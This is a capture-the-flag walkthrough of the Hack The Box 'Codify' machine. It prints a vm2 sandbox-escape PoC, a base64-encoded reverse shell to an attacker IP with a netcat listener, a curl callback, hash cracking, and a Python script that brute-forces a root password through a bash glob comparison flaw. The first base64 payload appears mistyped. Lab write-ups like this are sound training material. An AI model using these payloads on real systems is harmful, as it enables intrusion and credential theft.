You are currently viewing HTB – Codify – Linux (Easy)

HTB – Codify – Linux (Easy)

  • Post category:Easy / Linux
  • Reading time:13 mins read

On this Linux machine we are going to play with some CVE in Javascript, password cracking and exploit a flawed string comparison in a script.

Initial Nmap scan

First we start with some enumeration using nmap to scan our target :

  • Port 22 (SSH) is open using OpenSSH 8.9
  • Port 80 (HTTP) is hosting a website running on Apache httpd 2.4.52 and there is a virtual host for the domain codify.htb
  • Port 3000 (HTTP) is also running a website running on Node.js framework
Nmap scan report for 10.10.11.239
Host is up (0.024s latency).
Not shown: 65532 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol
2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open http Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

We should add the domain to our /etc/hosts file :

echo -e "10.10.11.239\tcodify.htb" | sudo tee -a /etc/hosts

We can now browse http://codify.htb, on port 3000 we find the NodeJS app, it seems to be a couple of pages. One is some kind of sandbox where we can run some Javascript code, the other one is the “About Us” page. During our exploration in the “About Us” section we encounter a mention of vm2 and the precise version used (3.9.16), which is vulnerable to CVE-2023-29199.

Initial foothold

Since we know about the CVE we can read about it and find a PoC, I found this one which should give us RCE on the target. After reading the code, it seems the PoC is triggering an exception in order to bypass whatever sanitizer function is used in the back. Therefore, it can require child_process and execute a command on the remote host.

First, let us make sure the PoC is working, we set up a local server on our machine running on port 80, then we will use the PoC to try to execute a request back to us using a curl command :

curl <attacker_server>/poc.txt

And it works, we got a request from our target

Local server recieved a HTTP GET request

Next step is to try to get a reverse shell, so we craft a little payload using base64 encoding because we want to avoid dealing with special characters :

# Reverse shell to insert into PoC
echo "c2ggLWkgPiYgL2Rldi90aY3AvMTAuMTAuMTQuOC85MDAxIDA+JjE=" | base64 -d | bash
# Set up Netcat listener on our local machine
nc -lnvp 9001

Now we run the modified PoC against the website once again :

const {VM} = require("vm2");
const vm = new VM();
const code = `
    aVM2_INTERNAL_TMPNAME = {};
    function stack() {
        new Error().stack;
        stack();
    }

    try {
        stack();
    } catch(a$tmpname) {
        a$tmpname.constructor.constructor('return process')
        ().mainModule.require('child_process').execSync('echo
        "c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuOC85MDAxIDA+JjE=" | base64 -d | bash');
    }
`
console.log(vm.run(code));

And we got our reverse shell on the target :

We can upgrade our shell and start our enumeration in order to find our privilege escalation path.

Privilege escalation

Eumeration

We got a shell as svc, who is a low privilege user, our goal now is to find a way to escalate our privileges. We start by having a look at /etc/passwd and discover another user named joshua.

joshua:x:1000:1000:,,,:/home/joshua:/bin/bash

This user could be our lateral movement user so let’s remember this information while we are looking around. In the folder /var/www/contact/ we can find a database file named tickets.db.

Inside the file we find a hash for the user Joshua starting with $2a$, which probably indicate a bcrypt algorithm.

Password cracking

We can try to crack it using the tool John the Ripper and use it for lateral movement if we succeed.

We just got Joshua’s password, we can now try to login as him, it may be using the same credentials.

Lateral movement

Alright we are now able to SSH into the box as joshua and we can try the sudo -l command since we have the password for it. The result tells us we can only execute one command using sudo privileges as Joshua :

#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS /usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
    /usr/bin/echo "Password confirmed!"
else
    /usr/bin/echo "Password confirmation failed!"
    exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e
"SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS"
"$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

We do not have the right to modify the script and it does not seem to me that we can use something like binary or path hijacking. We cannot access the /root/.creds file either, so we need something else. I am not a Bash expert, but we can see a password comparison, the script attempts to check if the password entered by the user is the correct one by comparing it with the $DB_PASS.

if [[ $DB_PASS == $USER_PASS ]]; then
    /usr/bin/echo "Password confirmed!"
else
    /usr/bin/echo "Password confirmation failed!"
    exit 1
fi

I started looking for information about Bash comparison between two strings and after some research I stumbled on this Medium article

“Similarly, if your variable contains special characters such as asterisks or question marks, Bash will interpret them as globbing patterns and try to expand them […].”

Stefan Paladuta

Let’s try this then : we are going to enter * as a password, aaaaand it works, the script accepts it. Therefore, we can run the script even if we still don’t have the password. This means we can brute force the password by trying each character one by one and append an asterisk at the end. Now we can write a little program, it should work as long as the password doesn’t contain certain special characters such as ? or \ which would also bypass the string comparison when combined with *.

Get root access

Time to write some quick Python code, we want to call the script, try a character, append * to it and check if the script stdout returns "Password confirmed!". If it does, we keep the newly found character and add a new one until we get the full password :

import string
import subprocess


def brute_force(password, from_str):
    for current_char in from_str:
        command = f"echo '{ password }{ current_char }*' | sudo /opt/scripts/mysql-backup.sh"
        process = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, text=True)

        if "Password confirmed!" in process.stdout:
            password += current_char
            return brute_force(password, from_str)

    return password


if __name__ == "__main__":
    # Initiate password empty string
    password_to_guess = ""
    # Get ascii characters to test except for * ? and \
    password_char = string.ascii_letters + string.digits + string.punctuation
    filtered_password_char = password_char.translate(str.maketrans({'?': None, '*': None, '\\': None}))
    # Run brute-force
    found_password = brute_force(password_to_guess, filtered_password_char)

    if found_password != "":
        print(f"The password is : { found_password }")
    else:
        print(f"Did not found password.")

The last thing we are going to do is to run the python script on our target. We are going to hope the root password does not contain any ? , \ or * character, but we are lucky and it works, we got a password ! Last thing is to elevate our-self as root user and grab the flags.